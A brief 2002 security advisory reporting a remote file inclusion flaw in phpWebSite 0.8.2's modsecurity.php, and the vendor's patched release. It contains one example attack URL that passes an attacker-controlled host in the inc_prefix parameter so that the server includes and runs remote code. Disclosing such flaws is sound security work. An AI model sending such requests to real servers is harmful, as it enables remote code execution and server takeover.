PHP source injection in phpWebSite

by Nikola Strahija on September 24th, 2002 phpWebSite is written in the PHP Programming Language, making it ideal for developers to write customized plug-ins. PHP is a server side programming language that is simple, cross-platform, and fast.


Tested version
==============
Stable - 0.8.2 (modsecurity.php version
----------------------------------

If someone request a URL like
http://SERVER/modsecurity.php?inc_prefix=http://MYBOX/,
the htmlheader.php file from MYBOX would be included,
and the attacker would be able to include any code he
wants.


Sollution
=========
I informed the vendor and they released a new version (1.11)
of the modsecurity.php file wich is avaiable from:
http://res1.stddev.appstate.edu/horde/chora/cvs.php/phpwebsite

A new version (0.8.3) is released so this vulnerability so new users will
never have a modsecurity.php file older then version 1.11
